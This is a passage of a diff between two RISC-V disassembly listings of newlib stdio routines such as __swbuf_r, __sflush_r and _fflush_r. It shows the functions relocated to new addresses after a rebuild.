+20403670:	40c0                	lw	s0,4(s1)
+20403672:	4c1c                	lw	a5,24(s0)
+20403674:	c41c                	sw	a5,8(s0)
+20403676:	00c45783          	lhu	a5,12(s0)
+2040367a:	8ba1                	andi	a5,a5,8
+2040367c:	c3c9                	beqz	a5,204036fe <__swbuf_r+0xb6>
+2040367e:	481c                	lw	a5,16(s0)
+20403680:	cfbd                	beqz	a5,204036fe <__swbuf_r+0xb6>
+20403682:	481c                	lw	a5,16(s0)
+20403684:	4008                	lw	a0,0(s0)
+20403686:	0ff97993          	andi	s3,s2,255
+2040368a:	0ff97913          	andi	s2,s2,255
+2040368e:	8d1d                	sub	a0,a0,a5
+20403690:	485c                	lw	a5,20(s0)
+20403692:	00f54663          	blt	a0,a5,2040369e <__swbuf_r+0x56>
+20403696:	85a2                	mv	a1,s0
+20403698:	8526                	mv	a0,s1
+2040369a:	24ed                	jal	20403984 <_fflush_r>
+2040369c:	e52d                	bnez	a0,20403706 <__swbuf_r+0xbe>
+2040369e:	441c                	lw	a5,8(s0)
+204036a0:	0505                	addi	a0,a0,1
+204036a2:	17fd                	addi	a5,a5,-1
+204036a4:	c41c                	sw	a5,8(s0)
+204036a6:	401c                	lw	a5,0(s0)
+204036a8:	00178713          	addi	a4,a5,1
+204036ac:	c018                	sw	a4,0(s0)
+204036ae:	01378023          	sb	s3,0(a5)
+204036b2:	485c                	lw	a5,20(s0)
+204036b4:	00a78963          	beq	a5,a0,204036c6 <__swbuf_r+0x7e>
+204036b8:	00c45783          	lhu	a5,12(s0)
+204036bc:	8b85                	andi	a5,a5,1
+204036be:	cb81                	beqz	a5,204036ce <__swbuf_r+0x86>
+204036c0:	47a9                	li	a5,10
+204036c2:	00f91663          	bne	s2,a5,204036ce <__swbuf_r+0x86>
+204036c6:	85a2                	mv	a1,s0
+204036c8:	8526                	mv	a0,s1
+204036ca:	2c6d                	jal	20403984 <_fflush_r>
+204036cc:	ed0d                	bnez	a0,20403706 <__swbuf_r+0xbe>
+204036ce:	40f2                	lw	ra,28(sp)
+204036d0:	4462                	lw	s0,24(sp)
+204036d2:	44d2                	lw	s1,20(sp)
+204036d4:	49b2                	lw	s3,12(sp)
+204036d6:	854a                	mv	a0,s2
+204036d8:	4942                	lw	s2,16(sp)
+204036da:	6105                	addi	sp,sp,32
+204036dc:	8082                	ret
+204036de:	00001797          	auipc	a5,0x1
+204036e2:	d8e78793          	addi	a5,a5,-626 # 2040446c <__sf_fake_stdout>
+204036e6:	00f41463          	bne	s0,a5,204036ee <__swbuf_r+0xa6>
+204036ea:	4480                	lw	s0,8(s1)
+204036ec:	b759                	j	20403672 <__swbuf_r+0x2a>
+204036ee:	00001797          	auipc	a5,0x1
+204036f2:	d3e78793          	addi	a5,a5,-706 # 2040442c <__sf_fake_stderr>
+204036f6:	f6f41ee3          	bne	s0,a5,20403672 <__swbuf_r+0x2a>
+204036fa:	44c0                	lw	s0,12(s1)
+204036fc:	bf9d                	j	20403672 <__swbuf_r+0x2a>
+204036fe:	85a2                	mv	a1,s0
+20403700:	8526                	mv	a0,s1
+20403702:	2021                	jal	2040370a <__swsetup_r>
+20403704:	dd3d                	beqz	a0,20403682 <__swbuf_r+0x3a>
+20403706:	597d                	li	s2,-1
+20403708:	b7d9                	j	204036ce <__swbuf_r+0x86>
 
-20404c64 <_fflush_r>:
-20404c64:	499c                	lw	a5,16(a1)
-20404c66:	c3a5                	beqz	a5,20404cc6 <_fflush_r+0x62>
-20404c68:	1101                	addi	sp,sp,-32
-20404c6a:	cc22                	sw	s0,24(sp)
-20404c6c:	ce06                	sw	ra,28(sp)
-20404c6e:	842a                	mv	s0,a0
-20404c70:	c519                	beqz	a0,20404c7e <_fflush_r+0x1a>
-20404c72:	4d1c                	lw	a5,24(a0)
-20404c74:	e789                	bnez	a5,20404c7e <_fflush_r+0x1a>
-20404c76:	c62e                	sw	a1,12(sp)
-20404c78:	e85fe0ef          	jal	ra,20403afc <__sinit>
-20404c7c:	45b2                	lw	a1,12(sp)
-20404c7e:	00001797          	auipc	a5,0x1
-20404c82:	28e78793          	addi	a5,a5,654 # 20405f0c <__sf_fake_stdin>
-20404c86:	00f59b63          	bne	a1,a5,20404c9c <_fflush_r+0x38>
-20404c8a:	404c                	lw	a1,4(s0)
-20404c8c:	00c59783          	lh	a5,12(a1)
-20404c90:	c795                	beqz	a5,20404cbc <_fflush_r+0x58>
-20404c92:	8522                	mv	a0,s0
-20404c94:	4462                	lw	s0,24(sp)
-20404c96:	40f2                	lw	ra,28(sp)
-20404c98:	6105                	addi	sp,sp,32
-20404c9a:	b549                	j	20404b1c <__sflush_r>
-20404c9c:	00001797          	auipc	a5,0x1
-20404ca0:	29078793          	addi	a5,a5,656 # 20405f2c <__sf_fake_stdout>
-20404ca4:	00f59463          	bne	a1,a5,20404cac <_fflush_r+0x48>
-20404ca8:	440c                	lw	a1,8(s0)
-20404caa:	b7cd                	j	20404c8c <_fflush_r+0x28>
-20404cac:	00001797          	auipc	a5,0x1
-20404cb0:	24078793          	addi	a5,a5,576 # 20405eec <__sf_fake_stderr>
-20404cb4:	fcf59ce3          	bne	a1,a5,20404c8c <_fflush_r+0x28>
-20404cb8:	444c                	lw	a1,12(s0)
-20404cba:	bfc9                	j	20404c8c <_fflush_r+0x28>
-20404cbc:	40f2                	lw	ra,28(sp)
-20404cbe:	4462                	lw	s0,24(sp)
-20404cc0:	4501                	li	a0,0
-20404cc2:	6105                	addi	sp,sp,32
-20404cc4:	8082                	ret
-20404cc6:	4501                	li	a0,0
-20404cc8:	8082                	ret
+2040370a <__swsetup_r>:
+2040370a:	1141                	addi	sp,sp,-16
+2040370c:	c422                	sw	s0,8(sp)
+2040370e:	c226                	sw	s1,4(sp)
+20403710:	c04a                	sw	s2,0(sp)
+20403712:	c606                	sw	ra,12(sp)
+20403714:	8141a483          	lw	s1,-2028(gp) # 8000d874 <_impure_ptr>
+20403718:	892a                	mv	s2,a0
+2040371a:	842e                	mv	s0,a1
+2040371c:	c491                	beqz	s1,20403728 <__swsetup_r+0x1e>
+2040371e:	4c9c                	lw	a5,24(s1)
+20403720:	e781                	bnez	a5,20403728 <__swsetup_r+0x1e>
+20403722:	8526                	mv	a0,s1
+20403724:	a9cff0ef          	jal	ra,204029c0 <__sinit>
+20403728:	00001797          	auipc	a5,0x1
+2040372c:	d2478793          	addi	a5,a5,-732 # 2040444c <__sf_fake_stdin>
+20403730:	02f41763          	bne	s0,a5,2040375e <__swsetup_r+0x54>
+20403734:	40c0                	lw	s0,4(s1)
+20403736:	00c41783          	lh	a5,12(s0)
+2040373a:	01079713          	slli	a4,a5,0x10
+2040373e:	0087f693          	andi	a3,a5,8
+20403742:	8341                	srli	a4,a4,0x10
+20403744:	eab5                	bnez	a3,204037b8 <__swsetup_r+0xae>
+20403746:	01077693          	andi	a3,a4,16
+2040374a:	ea95                	bnez	a3,2040377e <__swsetup_r+0x74>
+2040374c:	4725                	li	a4,9
+2040374e:	00e92023          	sw	a4,0(s2)
+20403752:	0407e793          	ori	a5,a5,64
+20403756:	00f41623          	sh	a5,12(s0)
+2040375a:	557d                	li	a0,-1
+2040375c:	a879                	j	204037fa <__swsetup_r+0xf0>
+2040375e:	00001797          	auipc	a5,0x1
+20403762:	d0e78793          	addi	a5,a5,-754 # 2040446c <__sf_fake_stdout>
+20403766:	00f41463          	bne	s0,a5,2040376e <__swsetup_r+0x64>
+2040376a:	4480                	lw	s0,8(s1)
+2040376c:	b7e9                	j	20403736 <__swsetup_r+0x2c>
+2040376e:	00001797          	auipc	a5,0x1
+20403772:	cbe78793          	addi	a5,a5,-834 # 2040442c <__sf_fake_stderr>
+20403776:	fcf410e3          	bne	s0,a5,20403736 <__swsetup_r+0x2c>
+2040377a:	44c0                	lw	s0,12(s1)
+2040377c:	bf6d                	j	20403736 <__swsetup_r+0x2c>
+2040377e:	8b11                	andi	a4,a4,4
+20403780:	c715                	beqz	a4,204037ac <__swsetup_r+0xa2>
+20403782:	584c                	lw	a1,52(s0)
+20403784:	c991                	beqz	a1,20403798 <__swsetup_r+0x8e>
+20403786:	04440793          	addi	a5,s0,68
+2040378a:	00f58563          	beq	a1,a5,20403794 <__swsetup_r+0x8a>
+2040378e:	854a                	mv	a0,s2
+20403790:	cf5fe0ef          	jal	ra,20402484 <_free_r>
+20403794:	02042a23          	sw	zero,52(s0)
+20403798:	00c45783          	lhu	a5,12(s0)
+2040379c:	00042223          	sw	zero,4(s0)
+204037a0:	fdb7f793          	andi	a5,a5,-37
+204037a4:	00f41623          	sh	a5,12(s0)
+204037a8:	481c                	lw	a5,16(s0)
+204037aa:	c01c                	sw	a5,0(s0)
+204037ac:	00c45783          	lhu	a5,12(s0)
+204037b0:	0087e793          	ori	a5,a5,8
+204037b4:	00f41623          	sh	a5,12(s0)
+204037b8:	481c                	lw	a5,16(s0)
+204037ba:	ef81                	bnez	a5,204037d2 <__swsetup_r+0xc8>
+204037bc:	00c45783          	lhu	a5,12(s0)
+204037c0:	20000713          	li	a4,512
+204037c4:	2807f793          	andi	a5,a5,640
+204037c8:	00e78563          	beq	a5,a4,204037d2 <__swsetup_r+0xc8>
+204037cc:	85a2                	mv	a1,s0
+204037ce:	854a                	mv	a0,s2
+204037d0:	2445                	jal	20403a70 <__smakebuf_r>
+204037d2:	00c41783          	lh	a5,12(s0)
+204037d6:	01079713          	slli	a4,a5,0x10
+204037da:	0017f693          	andi	a3,a5,1
+204037de:	8341                	srli	a4,a4,0x10
+204037e0:	c29d                	beqz	a3,20403806 <__swsetup_r+0xfc>
+204037e2:	4854                	lw	a3,20(s0)
+204037e4:	00042423          	sw	zero,8(s0)
+204037e8:	40d006b3          	neg	a3,a3
+204037ec:	cc14                	sw	a3,24(s0)
+204037ee:	4814                	lw	a3,16(s0)
+204037f0:	4501                	li	a0,0
+204037f2:	e681                	bnez	a3,204037fa <__swsetup_r+0xf0>
+204037f4:	08077713          	andi	a4,a4,128
+204037f8:	ff29                	bnez	a4,20403752 <__swsetup_r+0x48>
+204037fa:	40b2                	lw	ra,12(sp)
+204037fc:	4422                	lw	s0,8(sp)
+204037fe:	4492                	lw	s1,4(sp)
+20403800:	4902                	lw	s2,0(sp)
+20403802:	0141                	addi	sp,sp,16
+20403804:	8082                	ret
+20403806:	00277693          	andi	a3,a4,2
+2040380a:	4601                	li	a2,0
+2040380c:	e291                	bnez	a3,20403810 <__swsetup_r+0x106>
+2040380e:	4850                	lw	a2,20(s0)
+20403810:	c410                	sw	a2,8(s0)
+20403812:	bff1                	j	204037ee <__swsetup_r+0xe4>
 
-20404cca <_lseek_r>:
-20404cca:	1141                	addi	sp,sp,-16
-20404ccc:	c422                	sw	s0,8(sp)
-20404cce:	842a                	mv	s0,a0
-20404cd0:	852e                	mv	a0,a1
-20404cd2:	85b2                	mv	a1,a2
-20404cd4:	8636                	mv	a2,a3
-20404cd6:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404cda:	c606                	sw	ra,12(sp)
-20404cdc:	e75fd0ef          	jal	ra,20402b50 <_lseek>
-20404ce0:	57fd                	li	a5,-1
-20404ce2:	00f51663          	bne	a0,a5,20404cee <_lseek_r+0x24>
-20404ce6:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404cea:	c391                	beqz	a5,20404cee <_lseek_r+0x24>
-20404cec:	c01c                	sw	a5,0(s0)
-20404cee:	40b2                	lw	ra,12(sp)
-20404cf0:	4422                	lw	s0,8(sp)
-20404cf2:	0141                	addi	sp,sp,16
-20404cf4:	8082                	ret
+20403814 <_close_r>:
+20403814:	1141                	addi	sp,sp,-16
+20403816:	c422                	sw	s0,8(sp)
+20403818:	842a                	mv	s0,a0
+2040381a:	852e                	mv	a0,a1
+2040381c:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403820:	c606                	sw	ra,12(sp)
+20403822:	a77fe0ef          	jal	ra,20402298 <_close>
+20403826:	57fd                	li	a5,-1
+20403828:	00f51663          	bne	a0,a5,20403834 <_close_r+0x20>
+2040382c:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403830:	c391                	beqz	a5,20403834 <_close_r+0x20>
+20403832:	c01c                	sw	a5,0(s0)
+20403834:	40b2                	lw	ra,12(sp)
+20403836:	4422                	lw	s0,8(sp)
+20403838:	0141                	addi	sp,sp,16
+2040383a:	8082                	ret
 
-20404cf6 <__swhatbuf_r>:
-20404cf6:	7159                	addi	sp,sp,-112
-20404cf8:	d0ca                	sw	s2,96(sp)
-20404cfa:	892e                	mv	s2,a1
-20404cfc:	00e59583          	lh	a1,14(a1)
-20404d00:	d4a2                	sw	s0,104(sp)
-20404d02:	d2a6                	sw	s1,100(sp)
-20404d04:	d686                	sw	ra,108(sp)
-20404d06:	8432                	mv	s0,a2
-20404d08:	84b6                	mv	s1,a3
-20404d0a:	0005dc63          	bgez	a1,20404d22 <__swhatbuf_r+0x2c>
-20404d0e:	00c91783          	lh	a5,12(s2)
-20404d12:	0004a023          	sw	zero,0(s1)
-20404d16:	0807f793          	andi	a5,a5,128
-20404d1a:	e38d                	bnez	a5,20404d3c <__swhatbuf_r+0x46>
-20404d1c:	40000793          	li	a5,1024
-20404d20:	a005                	j	20404d40 <__swhatbuf_r+0x4a>
-20404d22:	0030                	addi	a2,sp,8
-20404d24:	22b1                	jal	20404e70 <_fstat_r>
-20404d26:	fe0544e3          	bltz	a0,20404d0e <__swhatbuf_r+0x18>
-20404d2a:	4732                	lw	a4,12(sp)
-20404d2c:	67bd                	lui	a5,0xf
-20404d2e:	8ff9                	and	a5,a5,a4
-20404d30:	7779                	lui	a4,0xffffe
-20404d32:	97ba                	add	a5,a5,a4
-20404d34:	0017b793          	seqz	a5,a5
-20404d38:	c09c                	sw	a5,0(s1)
-20404d3a:	b7cd                	j	20404d1c <__swhatbuf_r+0x26>
-20404d3c:	04000793          	li	a5,64
-20404d40:	50b6                	lw	ra,108(sp)
-20404d42:	c01c                	sw	a5,0(s0)
-20404d44:	5426                	lw	s0,104(sp)
-20404d46:	5496                	lw	s1,100(sp)
-20404d48:	5906                	lw	s2,96(sp)
-20404d4a:	4501                	li	a0,0
-20404d4c:	6165                	addi	sp,sp,112
-20404d4e:	8082                	ret
+2040383c <__sflush_r>:
+2040383c:	00c5d783          	lhu	a5,12(a1)
+20403840:	1101                	addi	sp,sp,-32
+20403842:	cc22                	sw	s0,24(sp)
+20403844:	ca26                	sw	s1,20(sp)
+20403846:	ce06                	sw	ra,28(sp)
+20403848:	c84a                	sw	s2,16(sp)
+2040384a:	c64e                	sw	s3,12(sp)
+2040384c:	0087f713          	andi	a4,a5,8
+20403850:	84aa                	mv	s1,a0
+20403852:	842e                	mv	s0,a1
+20403854:	e37d                	bnez	a4,2040393a <__sflush_r+0xfe>
+20403856:	41d8                	lw	a4,4(a1)
+20403858:	00e04763          	bgtz	a4,20403866 <__sflush_r+0x2a>
+2040385c:	41b8                	lw	a4,64(a1)
+2040385e:	00e04463          	bgtz	a4,20403866 <__sflush_r+0x2a>
+20403862:	4501                	li	a0,0
+20403864:	a87d                	j	20403922 <__sflush_r+0xe6>
+20403866:	5458                	lw	a4,44(s0)
+20403868:	df6d                	beqz	a4,20403862 <__sflush_r+0x26>
+2040386a:	6685                	lui	a3,0x1
+2040386c:	0004a903          	lw	s2,0(s1)
+20403870:	8ff5                	and	a5,a5,a3
+20403872:	0004a023          	sw	zero,0(s1)
+20403876:	cfad                	beqz	a5,204038f0 <__sflush_r+0xb4>
+20403878:	4868                	lw	a0,84(s0)
+2040387a:	00c45783          	lhu	a5,12(s0)
+2040387e:	8b91                	andi	a5,a5,4
+20403880:	c799                	beqz	a5,2040388e <__sflush_r+0x52>
+20403882:	405c                	lw	a5,4(s0)
+20403884:	8d1d                	sub	a0,a0,a5
+20403886:	585c                	lw	a5,52(s0)
+20403888:	c399                	beqz	a5,2040388e <__sflush_r+0x52>
+2040388a:	403c                	lw	a5,64(s0)
+2040388c:	8d1d                	sub	a0,a0,a5
+2040388e:	545c                	lw	a5,44(s0)
+20403890:	500c                	lw	a1,32(s0)
+20403892:	862a                	mv	a2,a0
+20403894:	4681                	li	a3,0
+20403896:	8526                	mv	a0,s1
+20403898:	9782                	jalr	a5
+2040389a:	57fd                	li	a5,-1
+2040389c:	00c45703          	lhu	a4,12(s0)
+204038a0:	00f51d63          	bne	a0,a5,204038ba <__sflush_r+0x7e>
+204038a4:	4094                	lw	a3,0(s1)
+204038a6:	47f5                	li	a5,29
+204038a8:	08d7e463          	bltu	a5,a3,20403930 <__sflush_r+0xf4>
+204038ac:	204007b7          	lui	a5,0x20400
+204038b0:	0785                	addi	a5,a5,1
+204038b2:	00d7d7b3          	srl	a5,a5,a3
+204038b6:	8b85                	andi	a5,a5,1
+204038b8:	cfa5                	beqz	a5,20403930 <__sflush_r+0xf4>
+204038ba:	481c                	lw	a5,16(s0)
+204038bc:	00042223          	sw	zero,4(s0)
+204038c0:	c01c                	sw	a5,0(s0)
+204038c2:	6785                	lui	a5,0x1
+204038c4:	8f7d                	and	a4,a4,a5
+204038c6:	c719                	beqz	a4,204038d4 <__sflush_r+0x98>
+204038c8:	57fd                	li	a5,-1
+204038ca:	00f51463          	bne	a0,a5,204038d2 <__sflush_r+0x96>
+204038ce:	409c                	lw	a5,0(s1)
+204038d0:	e391                	bnez	a5,204038d4 <__sflush_r+0x98>
+204038d2:	c868                	sw	a0,84(s0)
+204038d4:	584c                	lw	a1,52(s0)
+204038d6:	0124a023          	sw	s2,0(s1)
+204038da:	d5c1                	beqz	a1,20403862 <__sflush_r+0x26>
+204038dc:	04440793          	addi	a5,s0,68
+204038e0:	00f58563          	beq	a1,a5,204038ea <__sflush_r+0xae>
+204038e4:	8526                	mv	a0,s1
+204038e6:	b9ffe0ef          	jal	ra,20402484 <_free_r>
+204038ea:	02042a23          	sw	zero,52(s0)
+204038ee:	bf95                	j	20403862 <__sflush_r+0x26>
+204038f0:	500c                	lw	a1,32(s0)
+204038f2:	4685                	li	a3,1
+204038f4:	4601                	li	a2,0
+204038f6:	8526                	mv	a0,s1
+204038f8:	9702                	jalr	a4
+204038fa:	57fd                	li	a5,-1
+204038fc:	f6f51fe3          	bne	a0,a5,2040387a <__sflush_r+0x3e>
+20403900:	409c                	lw	a5,0(s1)
+20403902:	dfa5                	beqz	a5,2040387a <__sflush_r+0x3e>
+20403904:	4775                	li	a4,29
+20403906:	00e78563          	beq	a5,a4,20403910 <__sflush_r+0xd4>
+2040390a:	4759                	li	a4,22
+2040390c:	00e79563          	bne	a5,a4,20403916 <__sflush_r+0xda>
+20403910:	0124a023          	sw	s2,0(s1)
+20403914:	b7b9                	j	20403862 <__sflush_r+0x26>
+20403916:	00c45783          	lhu	a5,12(s0)
+2040391a:	0407e793          	ori	a5,a5,64
+2040391e:	00f41623          	sh	a5,12(s0)
+20403922:	40f2                	lw	ra,28(sp)
+20403924:	4462                	lw	s0,24(sp)
+20403926:	44d2                	lw	s1,20(sp)
+20403928:	4942                	lw	s2,16(sp)
+2040392a:	49b2                	lw	s3,12(sp)
+2040392c:	6105                	addi	sp,sp,32
+2040392e:	8082                	ret
+20403930:	04076713          	ori	a4,a4,64
+20403934:	00e41623          	sh	a4,12(s0)
+20403938:	b7ed                	j	20403922 <__sflush_r+0xe6>
+2040393a:	0105a983          	lw	s3,16(a1)
+2040393e:	f20982e3          	beqz	s3,20403862 <__sflush_r+0x26>
+20403942:	0005a903          	lw	s2,0(a1)
+20403946:	8b8d                	andi	a5,a5,3
+20403948:	0135a023          	sw	s3,0(a1)
+2040394c:	41390933          	sub	s2,s2,s3
+20403950:	4701                	li	a4,0
+20403952:	e391                	bnez	a5,20403956 <__sflush_r+0x11a>
+20403954:	49d8                	lw	a4,20(a1)
+20403956:	c418                	sw	a4,8(s0)
+20403958:	f12055e3          	blez	s2,20403862 <__sflush_r+0x26>
+2040395c:	541c                	lw	a5,40(s0)
+2040395e:	500c                	lw	a1,32(s0)
+20403960:	86ca                	mv	a3,s2
+20403962:	864e                	mv	a2,s3
+20403964:	8526                	mv	a0,s1
+20403966:	9782                	jalr	a5
+20403968:	00a04a63          	bgtz	a0,2040397c <__sflush_r+0x140>
+2040396c:	00c45783          	lhu	a5,12(s0)
+20403970:	557d                	li	a0,-1
+20403972:	0407e793          	ori	a5,a5,64
+20403976:	00f41623          	sh	a5,12(s0)
+2040397a:	b765                	j	20403922 <__sflush_r+0xe6>
+2040397c:	99aa                	add	s3,s3,a0
+2040397e:	40a90933          	sub	s2,s2,a0
+20403982:	bfd9                	j	20403958 <__sflush_r+0x11c>
 
-20404d50 <__smakebuf_r>:
-20404d50:	00c5d783          	lhu	a5,12(a1)
-20404d54:	1101                	addi	sp,sp,-32
-20404d56:	cc22                	sw	s0,24(sp)
-20404d58:	ce06                	sw	ra,28(sp)
-20404d5a:	ca26                	sw	s1,20(sp)
-20404d5c:	c84a                	sw	s2,16(sp)
-20404d5e:	8b89                	andi	a5,a5,2
-20404d60:	842e                	mv	s0,a1
-20404d62:	cf89                	beqz	a5,20404d7c <__smakebuf_r+0x2c>
-20404d64:	04740793          	addi	a5,s0,71
-20404d68:	c01c                	sw	a5,0(s0)
-20404d6a:	c81c                	sw	a5,16(s0)
-20404d6c:	4785                	li	a5,1
-20404d6e:	c85c                	sw	a5,20(s0)
-20404d70:	40f2                	lw	ra,28(sp)
-20404d72:	4462                	lw	s0,24(sp)
-20404d74:	44d2                	lw	s1,20(sp)
-20404d76:	4942                	lw	s2,16(sp)
-20404d78:	6105                	addi	sp,sp,32
-20404d7a:	8082                	ret
-20404d7c:	0074                	addi	a3,sp,12
-20404d7e:	0030                	addi	a2,sp,8
-20404d80:	892a                	mv	s2,a0
-20404d82:	3f95                	jal	20404cf6 <__swhatbuf_r>
-20404d84:	45a2                	lw	a1,8(sp)
-20404d86:	84aa                	mv	s1,a0
-20404d88:	854a                	mv	a0,s2
-20404d8a:	f8ffe0ef          	jal	ra,20403d18 <_malloc_r>
-20404d8e:	ed01                	bnez	a0,20404da6 <__smakebuf_r+0x56>
-20404d90:	00c41783          	lh	a5,12(s0)
-20404d94:	2007f713          	andi	a4,a5,512
-20404d98:	ff61                	bnez	a4,20404d70 <__smakebuf_r+0x20>
-20404d9a:	9bf1                	andi	a5,a5,-4
-20404d9c:	0027e793          	ori	a5,a5,2
-20404da0:	00f41623          	sh	a5,12(s0)
-20404da4:	b7c1                	j	20404d64 <__smakebuf_r+0x14>
-20404da6:	fffff797          	auipc	a5,0xfffff
-20404daa:	d0678793          	addi	a5,a5,-762 # 20403aac <_cleanup_r>
-20404dae:	02f92423          	sw	a5,40(s2)
-20404db2:	00c45783          	lhu	a5,12(s0)
-20404db6:	c008                	sw	a0,0(s0)
-20404db8:	c808                	sw	a0,16(s0)
-20404dba:	0807e793          	ori	a5,a5,128
-20404dbe:	00f41623          	sh	a5,12(s0)
-20404dc2:	47a2                	lw	a5,8(sp)
-20404dc4:	c85c                	sw	a5,20(s0)
-20404dc6:	47b2                	lw	a5,12(sp)
-20404dc8:	cf89                	beqz	a5,20404de2 <__smakebuf_r+0x92>
-20404dca:	00e41583          	lh	a1,14(s0)
-20404dce:	854a                	mv	a0,s2
-20404dd0:	20e9                	jal	20404e9a <_isatty_r>
-20404dd2:	c901                	beqz	a0,20404de2 <__smakebuf_r+0x92>
-20404dd4:	00c45783          	lhu	a5,12(s0)
-20404dd8:	9bf1                	andi	a5,a5,-4
-20404dda:	0017e793          	ori	a5,a5,1
-20404dde:	00f41623          	sh	a5,12(s0)
-20404de2:	00c45503          	lhu	a0,12(s0)
-20404de6:	8cc9                	or	s1,s1,a0
-20404de8:	00941623          	sh	s1,12(s0)
-20404dec:	b751                	j	20404d70 <__smakebuf_r+0x20>
+20403984 <_fflush_r>:
+20403984:	499c                	lw	a5,16(a1)
+20403986:	c3a5                	beqz	a5,204039e6 <_fflush_r+0x62>
+20403988:	1101                	addi	sp,sp,-32
+2040398a:	cc22                	sw	s0,24(sp)
+2040398c:	ce06                	sw	ra,28(sp)
+2040398e:	842a                	mv	s0,a0
+20403990:	c519                	beqz	a0,2040399e <_fflush_r+0x1a>
+20403992:	4d1c                	lw	a5,24(a0)
+20403994:	e789                	bnez	a5,2040399e <_fflush_r+0x1a>
+20403996:	c62e                	sw	a1,12(sp)
+20403998:	828ff0ef          	jal	ra,204029c0 <__sinit>
+2040399c:	45b2                	lw	a1,12(sp)
+2040399e:	00001797          	auipc	a5,0x1
+204039a2:	aae78793          	addi	a5,a5,-1362 # 2040444c <__sf_fake_stdin>
+204039a6:	00f59b63          	bne	a1,a5,204039bc <_fflush_r+0x38>
+204039aa:	404c                	lw	a1,4(s0)
+204039ac:	00c59783          	lh	a5,12(a1)
+204039b0:	c795                	beqz	a5,204039dc <_fflush_r+0x58>
+204039b2:	8522                	mv	a0,s0
+204039b4:	4462                	lw	s0,24(sp)
+204039b6:	40f2                	lw	ra,28(sp)
+204039b8:	6105                	addi	sp,sp,32
+204039ba:	b549                	j	2040383c <__sflush_r>
+204039bc:	00001797          	auipc	a5,0x1
+204039c0:	ab078793          	addi	a5,a5,-1360 # 2040446c <__sf_fake_stdout>
+204039c4:	00f59463          	bne	a1,a5,204039cc <_fflush_r+0x48>
+204039c8:	440c                	lw	a1,8(s0)
+204039ca:	b7cd                	j	204039ac <_fflush_r+0x28>
+204039cc:	00001797          	auipc	a5,0x1
+204039d0:	a6078793          	addi	a5,a5,-1440 # 2040442c <__sf_fake_stderr>
+204039d4:	fcf59ce3          	bne	a1,a5,204039ac <_fflush_r+0x28>
+204039d8:	444c                	lw	a1,12(s0)
+204039da:	bfc9                	j	204039ac <_fflush_r+0x28>
+204039dc:	40f2                	lw	ra,28(sp)
+204039de:	4462                	lw	s0,24(sp)
+204039e0:	4501                	li	a0,0
+204039e2:	6105                	addi	sp,sp,32
+204039e4:	8082                	ret
+204039e6:	4501                	li	a0,0
+204039e8:	8082                	ret
 
-20404dee <memchr>:
-20404dee:	0ff5f593          	andi	a1,a1,255
-20404df2:	962a                	add	a2,a2,a0
-20404df4:	00c51463          	bne	a0,a2,20404dfc <memchr+0xe>
-20404df8:	4501                	li	a0,0
-20404dfa:	8082                	ret
-20404dfc:	00054783          	lbu	a5,0(a0)
-20404e00:	feb78de3          	beq	a5,a1,20404dfa <memchr+0xc>
-20404e04:	0505                	addi	a0,a0,1
-20404e06:	b7fd                	j	20404df4 <memchr+0x6>
+204039ea <_lseek_r>:
+204039ea:	1141                	addi	sp,sp,-16
+204039ec:	c422                	sw	s0,8(sp)
+204039ee:	842a                	mv	s0,a0
+204039f0:	852e                	mv	a0,a1
+204039f2:	85b2                	mv	a1,a2
+204039f4:	8636                	mv	a2,a3
+204039f6:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+204039fa:	c606                	sw	ra,12(sp)
+204039fc:	8d1fe0ef          	jal	ra,204022cc <_lseek>
+20403a00:	57fd                	li	a5,-1
+20403a02:	00f51663          	bne	a0,a5,20403a0e <_lseek_r+0x24>
+20403a06:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403a0a:	c391                	beqz	a5,20403a0e <_lseek_r+0x24>
+20403a0c:	c01c                	sw	a5,0(s0)
+20403a0e:	40b2                	lw	ra,12(sp)
+20403a10:	4422                	lw	s0,8(sp)
+20403a12:	0141                	addi	sp,sp,16
+20403a14:	8082                	ret
 
-20404e08 <__malloc_lock>:
-20404e08:	8082                	ret
+20403a16 <__swhatbuf_r>:
+20403a16:	7159                	addi	sp,sp,-112
+20403a18:	d0ca                	sw	s2,96(sp)
+20403a1a:	892e                	mv	s2,a1
+20403a1c:	00e59583          	lh	a1,14(a1)
+20403a20:	d4a2                	sw	s0,104(sp)
+20403a22:	d2a6                	sw	s1,100(sp)
+20403a24:	d686                	sw	ra,108(sp)
+20403a26:	8432                	mv	s0,a2
+20403a28:	84b6                	mv	s1,a3
+20403a2a:	0005dc63          	bgez	a1,20403a42 <__swhatbuf_r+0x2c>
+20403a2e:	00c91783          	lh	a5,12(s2)
+20403a32:	0004a023          	sw	zero,0(s1)
+20403a36:	0807f793          	andi	a5,a5,128
+20403a3a:	e38d                	bnez	a5,20403a5c <__swhatbuf_r+0x46>
+20403a3c:	40000793          	li	a5,1024
+20403a40:	a005                	j	20403a60 <__swhatbuf_r+0x4a>
+20403a42:	0030                	addi	a2,sp,8
+20403a44:	22a1                	jal	20403b8c <_fstat_r>
+20403a46:	fe0544e3          	bltz	a0,20403a2e <__swhatbuf_r+0x18>
+20403a4a:	4732                	lw	a4,12(sp)
+20403a4c:	67bd                	lui	a5,0xf
+20403a4e:	8ff9                	and	a5,a5,a4
+20403a50:	7779                	lui	a4,0xffffe
+20403a52:	97ba                	add	a5,a5,a4
+20403a54:	0017b793          	seqz	a5,a5
+20403a58:	c09c                	sw	a5,0(s1)
+20403a5a:	b7cd                	j	20403a3c <__swhatbuf_r+0x26>
+20403a5c:	04000793          	li	a5,64
+20403a60:	50b6                	lw	ra,108(sp)
+20403a62:	c01c                	sw	a5,0(s0)
+20403a64:	5426                	lw	s0,104(sp)
+20403a66:	5496                	lw	s1,100(sp)
+20403a68:	5906                	lw	s2,96(sp)
+20403a6a:	4501                	li	a0,0
+20403a6c:	6165                	addi	sp,sp,112
+20403a6e:	8082                	ret
 
-20404e0a <__malloc_unlock>:
-20404e0a:	8082                	ret
+20403a70 <__smakebuf_r>:
+20403a70:	00c5d783          	lhu	a5,12(a1)
+20403a74:	1101                	addi	sp,sp,-32
+20403a76:	cc22                	sw	s0,24(sp)
+20403a78:	ce06                	sw	ra,28(sp)
+20403a7a:	ca26                	sw	s1,20(sp)
+20403a7c:	c84a                	sw	s2,16(sp)
+20403a7e:	8b89                	andi	a5,a5,2
